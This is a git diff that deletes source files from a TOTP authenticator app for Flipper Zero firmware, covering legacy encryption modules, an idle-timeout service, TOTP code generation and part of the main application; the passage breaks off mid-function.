plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt_v1( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt_v1( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv_v1(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key_v1(const CryptoSettings* crypto_settings); -#endif diff --git a/applications/external/totp/services/crypto/crypto_v2.c b/applications/external/totp/services/crypto/crypto_v2.c deleted file mode 100644 index 498995619..000000000 --- a/applications/external/totp/services/crypto/crypto_v2.c +++ /dev/null @@ -1,190 +0,0 @@ -#include "crypto_v2.h" -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../../config/wolfssl/config.h" -#include -#include "memset_s.h" -#include "constants.h" -#include "polyfills.h" - -#define CRYPTO_ALIGNMENT_FACTOR (16) - -static const uint8_t* get_device_uid() { - return (const uint8_t*)UID64_BASE; //-V566 -} - -static uint8_t get_device_uid_length() { - return furi_hal_version_uid_size(); -} - -static const uint8_t* get_crypto_verify_key() { - return get_device_uid(); -} - -static uint8_t get_crypto_verify_key_length() { - return get_device_uid_length(); -} - -uint8_t* totp_crypto_encrypt_v2( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - uint8_t* encrypted_data; - size_t remain = plain_data_length % CRYPTO_ALIGNMENT_FACTOR; - if(remain) { - size_t plain_data_aligned_length = plain_data_length - remain + CRYPTO_ALIGNMENT_FACTOR; - uint8_t* plain_data_aligned = malloc(plain_data_aligned_length); - furi_check(plain_data_aligned != NULL); - memset(plain_data_aligned, 0, plain_data_aligned_length); - memcpy(plain_data_aligned, plain_data, plain_data_length); - - encrypted_data = malloc(plain_data_aligned_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_aligned_length; - - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: enclave_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data_aligned, encrypted_data, plain_data_aligned_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: enclave_unload_key"); - - memset_s(plain_data_aligned, plain_data_aligned_length, 0, plain_data_aligned_length); - free(plain_data_aligned); - } else { - encrypted_data = malloc(plain_data_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_length; - - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: store_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data, encrypted_data, plain_data_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: store_unload_key"); - } - - return encrypted_data; -} - -uint8_t* totp_crypto_decrypt_v2( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - *decrypted_data_length = encrypted_data_length; - uint8_t* decrypted_data = malloc(*decrypted_data_length); - furi_check(decrypted_data != NULL); - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Decryption failed: enclave_load_key"); - furi_check( - furi_hal_crypto_decrypt(encrypted_data, decrypted_data, encrypted_data_length), - "Decryption failed: decrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Decryption failed: enclave_unload_key"); - return decrypted_data; -} - -CryptoSeedIVResult totp_crypto_seed_iv_v2( - CryptoSettings* crypto_settings, - const uint8_t* pin, - uint8_t pin_length) { - CryptoSeedIVResult result; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating new salt"); - furi_hal_random_fill_buf(&crypto_settings->salt[0], CRYPTO_SALT_LENGTH); - } - - const uint8_t* device_uid = get_device_uid(); - uint8_t device_uid_length = get_device_uid_length(); - - uint8_t hmac_key_length = device_uid_length; - if(pin != NULL && pin_length > 0) { - hmac_key_length += pin_length; - } - - uint8_t* hmac_key = malloc(hmac_key_length); - furi_check(hmac_key != NULL); - - memcpy(hmac_key, device_uid, device_uid_length); - - if(pin != NULL && pin_length > 0) { - memcpy(hmac_key + device_uid_length, pin, pin_length); - } - - uint8_t hmac[WC_SHA512_DIGEST_SIZE] = {0}; - - Hmac hmac_context; - wc_HmacSetKey(&hmac_context, WC_SHA512, hmac_key, hmac_key_length); - wc_HmacUpdate(&hmac_context, &crypto_settings->salt[0], CRYPTO_SALT_LENGTH); - int hmac_result_code = wc_HmacFinal(&hmac_context, &hmac[0]); - wc_HmacFree(&hmac_context); - - memset_s(hmac_key, hmac_key_length, 0, hmac_key_length); - free(hmac_key); - - if(hmac_result_code == 0) { - uint8_t offset = - hmac[WC_SHA512_DIGEST_SIZE - 1] % (WC_SHA512_DIGEST_SIZE - CRYPTO_IV_LENGTH - 1); - memcpy(&crypto_settings->iv[0], &hmac[offset], CRYPTO_IV_LENGTH); - - result = CryptoSeedIVResultFlagSuccess; - if(crypto_settings->crypto_verify_data == NULL) { - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - FURI_LOG_I(LOGGING_TAG, "Generating crypto verify data"); - crypto_settings->crypto_verify_data = malloc(crypto_vkey_length); - furi_check(crypto_settings->crypto_verify_data != NULL); - crypto_settings->crypto_verify_data_length = crypto_vkey_length; - - crypto_settings->crypto_verify_data = totp_crypto_encrypt_v2( - crypto_vkey, - crypto_vkey_length, - crypto_settings, - &crypto_settings->crypto_verify_data_length); - - crypto_settings->pin_required = pin != NULL && pin_length > 0; - - result |= CryptoSeedIVResultFlagNewCryptoVerifyData; - } - } else { - result = CryptoSeedIVResultFailed; - } - - return result; -} - -bool totp_crypto_verify_key_v2(const CryptoSettings* crypto_settings) { - size_t decrypted_key_length; - uint8_t* decrypted_key = totp_crypto_decrypt_v2( - crypto_settings->crypto_verify_data, - crypto_settings->crypto_verify_data_length, - crypto_settings, - &decrypted_key_length); - - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - bool key_valid = true; - for(uint8_t i = 0; i < crypto_vkey_length && key_valid; i++) { - if(decrypted_key[i] != crypto_vkey[i]) key_valid = false; - } - - free(decrypted_key); - - return key_valid; -} -#endif diff --git a/applications/external/totp/services/crypto/crypto_v2.h b/applications/external/totp/services/crypto/crypto_v2.h deleted file mode 100644 index c21edae20..000000000 --- a/applications/external/totp/services/crypto/crypto_v2.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include "../../config/app/config.h" -#ifdef TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt_v2( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt_v2( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv_v2(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key_v2(const CryptoSettings* crypto_settings); -#endif diff --git a/applications/external/totp/services/crypto/crypto_v3.c b/applications/external/totp/services/crypto/crypto_v3.c deleted file mode 100644 index 79ecb3d72..000000000 --- a/applications/external/totp/services/crypto/crypto_v3.c +++ /dev/null @@ -1,195 +0,0 @@ -#include "crypto_v3.h" -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../../config/wolfssl/config.h" -#include -#include -#include "memset_s.h" -#include "constants.h" -#include "polyfills.h" - -#define CRYPTO_ALIGNMENT_FACTOR (16) -#define PBKDF2_ITERATIONS_COUNT (200) - -static const uint8_t* get_device_uid() { - return (const uint8_t*)UID64_BASE; //-V566 -} - -static uint8_t get_device_uid_length() { - return furi_hal_version_uid_size(); -} - -static const uint8_t* get_crypto_verify_key() { - return get_device_uid(); -} - -static uint8_t get_crypto_verify_key_length() { - return get_device_uid_length(); -} - -uint8_t* totp_crypto_encrypt_v3( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - uint8_t* encrypted_data; - size_t remain = plain_data_length % CRYPTO_ALIGNMENT_FACTOR; - if(remain) { - size_t plain_data_aligned_length = plain_data_length - remain + CRYPTO_ALIGNMENT_FACTOR; - uint8_t* plain_data_aligned = malloc(plain_data_aligned_length); - furi_check(plain_data_aligned != NULL); - memset(plain_data_aligned, 0, plain_data_aligned_length); - memcpy(plain_data_aligned, plain_data, plain_data_length); - - encrypted_data = malloc(plain_data_aligned_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_aligned_length; - - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: enclave_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data_aligned, encrypted_data, plain_data_aligned_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: enclave_unload_key"); - - memset_s(plain_data_aligned, plain_data_aligned_length, 0, plain_data_aligned_length); - free(plain_data_aligned); - } else { - encrypted_data = malloc(plain_data_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_length; - - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: enclave_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data, encrypted_data, plain_data_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: enclave_unload_key"); - } - - return encrypted_data; -} - -uint8_t* totp_crypto_decrypt_v3( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - *decrypted_data_length = encrypted_data_length; - uint8_t* decrypted_data = malloc(*decrypted_data_length); - furi_check(decrypted_data != NULL); - furi_check( - furi_hal_crypto_enclave_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Decryption failed: enclave_load_key"); - furi_check( - furi_hal_crypto_decrypt(encrypted_data, decrypted_data, encrypted_data_length), - "Decryption failed: decrypt"); - furi_check( - furi_hal_crypto_enclave_unload_key(crypto_settings->crypto_key_slot), - "Decryption failed: enclave_unload_key"); - return decrypted_data; -} - -CryptoSeedIVResult totp_crypto_seed_iv_v3( - CryptoSettings* crypto_settings, - const uint8_t* pin, - uint8_t pin_length) { - CryptoSeedIVResult result; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating new salt"); - furi_hal_random_fill_buf(&crypto_settings->salt[0], CRYPTO_SALT_LENGTH); - } - - const uint8_t* device_uid = get_device_uid(); - uint8_t device_uid_length = get_device_uid_length(); - - uint8_t pbkdf_key_length = device_uid_length; - if(pin != NULL && pin_length > 0) { - pbkdf_key_length += pin_length; - } - - uint8_t* pbkdf_key = malloc(pbkdf_key_length); - furi_check(pbkdf_key != NULL); - - memcpy(pbkdf_key, device_uid, device_uid_length); - - if(pin != NULL && pin_length > 0) { - memcpy(pbkdf_key + device_uid_length, pin, pin_length); - } - - uint8_t pbkdf_output[WC_SHA512_DIGEST_SIZE] = {0}; - - int pbkdf_result_code = wc_PBKDF2( - &pbkdf_output[0], - pbkdf_key, - pbkdf_key_length, - &crypto_settings->salt[0], - CRYPTO_SALT_LENGTH, - PBKDF2_ITERATIONS_COUNT, - WC_SHA512_DIGEST_SIZE, - WC_SHA512); - - memset_s(pbkdf_key, pbkdf_key_length, 0, pbkdf_key_length); - free(pbkdf_key); - - if(pbkdf_result_code == 0) { - uint8_t offset = pbkdf_output[WC_SHA512_DIGEST_SIZE - 1] % - (WC_SHA512_DIGEST_SIZE - CRYPTO_IV_LENGTH - 1); - memcpy(&crypto_settings->iv[0], &pbkdf_output[offset], CRYPTO_IV_LENGTH); - result = CryptoSeedIVResultFlagSuccess; - if(crypto_settings->crypto_verify_data == NULL) { - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - FURI_LOG_I(LOGGING_TAG, "Generating crypto verify data"); - crypto_settings->crypto_verify_data = malloc(crypto_vkey_length); - furi_check(crypto_settings->crypto_verify_data != NULL); - crypto_settings->crypto_verify_data_length = crypto_vkey_length; - - crypto_settings->crypto_verify_data = totp_crypto_encrypt_v3( - crypto_vkey, - crypto_vkey_length, - crypto_settings, - &crypto_settings->crypto_verify_data_length); - - crypto_settings->pin_required = pin != NULL && pin_length > 0; - - result |= CryptoSeedIVResultFlagNewCryptoVerifyData; - } - } else { - result = CryptoSeedIVResultFailed; - } - - memset_s(&pbkdf_output[0], WC_SHA512_DIGEST_SIZE, 0, WC_SHA512_DIGEST_SIZE); - - return result; -} - -bool totp_crypto_verify_key_v3(const CryptoSettings* crypto_settings) { - size_t decrypted_key_length; - uint8_t* decrypted_key = totp_crypto_decrypt_v3( - crypto_settings->crypto_verify_data, - crypto_settings->crypto_verify_data_length, - crypto_settings, - &decrypted_key_length); - - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - bool key_valid = true; - for(uint8_t i = 0; i < crypto_vkey_length && key_valid; i++) { - if(decrypted_key[i] != crypto_vkey[i]) key_valid = false; - } - - free(decrypted_key); - - return key_valid; -} \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_v3.h b/applications/external/totp/services/crypto/crypto_v3.h deleted file mode 100644 index 39c718aab..000000000 --- a/applications/external/totp/services/crypto/crypto_v3.h +++ /dev/null @@ -1,52 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt_v3( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt_v3( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv_v3(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key_v3(const CryptoSettings* crypto_settings); \ No newline at end of file diff --git a/applications/external/totp/services/crypto/polyfills.h b/applications/external/totp/services/crypto/polyfills.h deleted file mode 100644 index 6e66d03d2..000000000 --- a/applications/external/totp/services/crypto/polyfills.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -#ifndef FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_START - -// FW Crypto API is outdated, let's polyfill it -#define FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_START (12u) -#define FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_END (100u) -#define furi_hal_crypto_enclave_ensure_key furi_hal_crypto_verify_key -#define furi_hal_crypto_enclave_load_key furi_hal_crypto_store_load_key -#define furi_hal_crypto_enclave_unload_key furi_hal_crypto_store_unload_key - -#endif \ No newline at end of file diff --git a/applications/external/totp/services/idle_timeout/idle_timeout.c b/applications/external/totp/services/idle_timeout/idle_timeout.c deleted file mode 100644 index 66369eb93..000000000 --- a/applications/external/totp/services/idle_timeout/idle_timeout.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "idle_timeout.h" -#include -#include - -#define IDLE_TIMER_CHECK_PERIODICITY_SEC (1) -#define SEC_TO_TICKS(sec) ((sec)*1000) - -struct IdleTimeoutContext { - FuriTimer* timer; - bool activity_reported; - void* on_idle_callback_context; - IDLE_TIMEOUT_CALLBACK on_idle_callback; - uint16_t timeout_sec; - uint16_t idle_period_sec; - bool idle_handled; -}; - -static void idle_timer_callback(void* context) { - IdleTimeoutContext* instance = context; - if(instance->activity_reported) { - instance->idle_period_sec = 0; - instance->idle_handled = false; - instance->activity_reported = false; - } else if(!instance->idle_handled) { - if(instance->idle_period_sec >= instance->timeout_sec) { - instance->idle_handled = - instance->on_idle_callback(instance->on_idle_callback_context); - } else { - instance->idle_period_sec += IDLE_TIMER_CHECK_PERIODICITY_SEC; - } - } -} - -IdleTimeoutContext* idle_timeout_alloc( - uint16_t timeout_sec, - IDLE_TIMEOUT_CALLBACK on_idle_callback, - void* on_idle_callback_context) { - IdleTimeoutContext* instance = malloc(sizeof(IdleTimeoutContext)); - if(instance == NULL) return NULL; - - instance->timer = furi_timer_alloc(&idle_timer_callback, FuriTimerTypePeriodic, instance); - if(instance->timer == NULL) return NULL; - - instance->timeout_sec = timeout_sec; - instance->on_idle_callback = on_idle_callback; - instance->on_idle_callback_context = on_idle_callback_context; - return instance; -} - -void idle_timeout_start(IdleTimeoutContext* context) { - furi_timer_start(context->timer, SEC_TO_TICKS(IDLE_TIMER_CHECK_PERIODICITY_SEC)); -} - -void idle_timeout_stop(IdleTimeoutContext* context) { - furi_timer_stop(context->timer); -} - -void idle_timeout_report_activity(IdleTimeoutContext* context) { - context->activity_reported = true; -} - -void idle_timeout_free(IdleTimeoutContext* context) { - furi_timer_stop(context->timer); - furi_timer_free(context->timer); - free(context); -} \ No newline at end of file diff --git a/applications/external/totp/services/idle_timeout/idle_timeout.h b/applications/external/totp/services/idle_timeout/idle_timeout.h deleted file mode 100644 index 5e2359876..000000000 --- a/applications/external/totp/services/idle_timeout/idle_timeout.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#include -#include - -typedef struct IdleTimeoutContext IdleTimeoutContext; - -typedef bool (*IDLE_TIMEOUT_CALLBACK)(void* context); - -/** - * @brief Initializes a new instance of IDLE timeout - * @param timeout_sec IDLE timeout in seconds - * @param on_idle_callback callback function to trigger when IDLE timeout happened - * @param on_idle_callback_context callback function context - * @return IDLE timeout context - */ -IdleTimeoutContext* idle_timeout_alloc( - uint16_t timeout_sec, - IDLE_TIMEOUT_CALLBACK on_idle_callback, - void* on_idle_callback_context); - -/** - * @brief Starts IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_start(IdleTimeoutContext* context); - -/** - * @brief Stops IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_stop(IdleTimeoutContext* context); - -/** - * @brief Reports activity to IDLE timeout - * @param context IDLE timeout context - */ -void idle_timeout_report_activity(IdleTimeoutContext* context); - -/** - * @brief Disposes IDLE timeout and releases all the resources - * @param context IDLE timeout context - */ -void idle_timeout_free(IdleTimeoutContext* context); \ No newline at end of file diff --git a/applications/external/totp/services/totp/totp.c b/applications/external/totp/services/totp/totp.c deleted file mode 100644 index 32232f21a..000000000 --- a/applications/external/totp/services/totp/totp.c +++ /dev/null @@ -1,125 +0,0 @@ -#include "totp.h" - -#include -#include -#include -#include -#include "../../config/wolfssl/config.h" -#include - -#define HMAC_MAX_RESULT_SIZE WC_SHA512_DIGEST_SIZE - -static uint64_t swap_uint64(uint64_t val) { - val = ((val << 8) & 0xFF00FF00FF00FF00ULL) | ((val >> 8) & 0x00FF00FF00FF00FFULL); - val = ((val << 16) & 0xFFFF0000FFFF0000ULL) | ((val >> 16) & 0x0000FFFF0000FFFFULL); - return (val << 32) | (val >> 32); -} - -/** - * @brief Generates the timeblock for a time in seconds. - * Timeblocks are the amount of intervals in a given time. For example, - * if 1,000,000 seconds has passed for 30 second intervals, you would get - * 33,333 timeblocks (intervals), where timeblock++ is effectively +30 seconds. - * @param interval in seconds - * @param for_time a time in seconds to get the current timeblocks - * @return Timeblock given \p for_time using \p interval - */ -uint64_t totp_timecode(uint8_t interval, uint64_t for_time) { - return for_time / interval; -} - -/** - * @brief Generates an OTP (One Time Password) - * @param algo hashing algorithm to be used - * @param plain_secret plain token secret - * @param plain_secret_length plain token secret length - * @param input input data for OTP code generation - * @return OTP code if code was successfully generated; 0 otherwise - */ -uint64_t otp_generate( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t input) { - uint8_t hmac[HMAC_MAX_RESULT_SIZE] = {0}; - - uint64_t input_swapped = swap_uint64(input); - - int hmac_len = - (*algo)(plain_secret, plain_secret_length, (uint8_t*)&input_swapped, 8, &hmac[0]); - if(hmac_len == 0) { - return OTP_ERROR; - } - - uint64_t offset = (hmac[hmac_len - 1] & 0xF); - uint64_t i_code = - ((hmac[offset] & 0x7F) << 24 | (hmac[offset + 1] & 0xFF) << 16 | - (hmac[offset + 2] & 0xFF) << 8 | (hmac[offset + 3] & 0xFF)); - - return i_code; -} - -uint64_t totp_at( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t for_time, - float timezone, - uint8_t interval) { - uint64_t for_time_adjusted = - timezone_offset_apply(for_time, timezone_offset_from_hours(timezone)); - return otp_generate( - algo, plain_secret, plain_secret_length, totp_timecode(interval, for_time_adjusted)); -} - -static int totp_algo_common( - int type, - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - Hmac hmac; - int ret = wc_HmacSetKey(&hmac, type, key, key_length); - if(ret == 0) { - ret = wc_HmacUpdate(&hmac, input, input_length); - } - - if(ret == 0) { - ret = wc_HmacFinal(&hmac, output); - } - - wc_HmacFree(&hmac); - return ret == 0 ? wc_HmacSizeByType(type) : 0; -} - -static int totp_algo_sha1( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - return totp_algo_common(WC_SHA, key, key_length, input, input_length, output); -} - -static int totp_algo_sha256( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - return totp_algo_common(WC_SHA256, key, key_length, input, input_length, output); -} - -static int totp_algo_sha512( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output) { - return totp_algo_common(WC_SHA512, key, key_length, input, input_length, output); -} - -const TOTP_ALGO TOTP_ALGO_SHA1 = (TOTP_ALGO)(&totp_algo_sha1); -const TOTP_ALGO TOTP_ALGO_SHA256 = (TOTP_ALGO)(&totp_algo_sha256); -const TOTP_ALGO TOTP_ALGO_SHA512 = (TOTP_ALGO)(&totp_algo_sha512); diff --git a/applications/external/totp/services/totp/totp.h b/applications/external/totp/services/totp/totp.h deleted file mode 100644 index d578f6ea9..000000000 --- a/applications/external/totp/services/totp/totp.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include -#include - -#define OTP_ERROR (0) - -/** - * @brief Must compute HMAC using passed arguments, output as char array through output. - * \p key is secret key buffer. - * \p key_length is secret key buffer length. - * \p input is input buffer. - * \p input_length is input buffer length. - * \p output is an output buffer of the resulting HMAC operation. - * Must return 0 if error, or the length in bytes of the HMAC operation. - */ -typedef int (*TOTP_ALGO)( - const uint8_t* key, - size_t key_length, - const uint8_t* input, - size_t input_length, - uint8_t* output); - -/** - * @brief Computes HMAC using SHA1 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA1; - -/** - * @brief Computes HMAC using SHA256 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA256; - -/** - * @brief Computes HMAC using SHA512 - */ -extern const TOTP_ALGO TOTP_ALGO_SHA512; - -/** - * @brief Generates a OTP key using the totp algorithm. - * @param algo hashing algorithm to be used - * @param plain_secret plain token secret - * @param plain_secret_length plain token secret length - * @param for_time the time the generated key will be created for - * @param timezone UTC timezone adjustment for the generated key - * @param interval token lifetime in seconds - * @return TOTP code if code was successfully generated; 0 otherwise - */ -uint64_t totp_at( - TOTP_ALGO algo, - const uint8_t* plain_secret, - size_t plain_secret_length, - uint64_t for_time, - float timezone, - uint8_t interval); diff --git a/applications/external/totp/totp_10px.png b/applications/external/totp/totp_10px.png deleted file mode 100644 index 70ed56d98..000000000 Binary files a/applications/external/totp/totp_10px.png and /dev/null differ diff --git a/applications/external/totp/totp_app.c b/applications/external/totp/totp_app.c deleted file mode 100644 index adfd4a9a5..000000000 --- a/applications/external/totp/totp_app.c +++ /dev/null @@ -1,288 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include "config/app/config.h" -#include "services/config/config.h" -#include "types/plugin_state.h" -#include "types/token_info.h" -#include "types/plugin_event.h" -#include "types/event_type.h" -#include "types/common.h" -#include "ui/scene_director.h" -#include "ui/constants.h" -#include "ui/common_dialogs.h" -#include "services/crypto/crypto_facade.h" -#include "cli/cli.h" -#include "version.h" -#include - -struct TotpRenderCallbackContext { - FuriMutex* mutex; - PluginState* plugin_state; -}; - -static void render_callback(Canvas* const canvas, void* const ctx) { - furi_assert(ctx); - const struct TotpRenderCallbackContext* context = ctx; - if(furi_mutex_acquire(context->mutex, 25) == FuriStatusOk) { - totp_scene_director_render(canvas, context->plugin_state); - furi_mutex_release(context->mutex); - } -} - -static void input_callback(InputEvent* const input_event, void* const ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static bool first_run_init(PluginState* const plugin_state) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "No", NULL, "Yes"); - dialog_message_set_text( - message, - "Would you like to setup PIN?", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - DialogMessageButton dialog_result = dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - if(!totp_crypto_check_key_slot(plugin_state->crypto_settings.crypto_key_slot)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - if(dialog_result == DialogMessageButtonRight) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - } else { - CryptoSeedIVResult seed_result = - totp_crypto_seed_iv(&plugin_state->crypto_settings, NULL, 0); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - if(!totp_config_file_update_crypto_signatures(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - } else if(seed_result == CryptoSeedIVResultFailed) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } - - return true; -} - -static bool pinless_activation(PluginState* const plugin_state) { - CryptoSeedIVResult seed_result = totp_crypto_seed_iv(&plugin_state->crypto_settings, NULL, 0); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - if(!totp_config_file_update_crypto_signatures(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - } else if(seed_result == CryptoSeedIVResultFailed) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - if(totp_crypto_verify_key(&plugin_state->crypto_settings)) { - totp_config_file_ensure_latest_encryption(plugin_state, NULL, 0); - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else { - FURI_LOG_E( - LOGGING_TAG, - "Digital signature verification failed. Looks like conf file was created on another device and can't be used 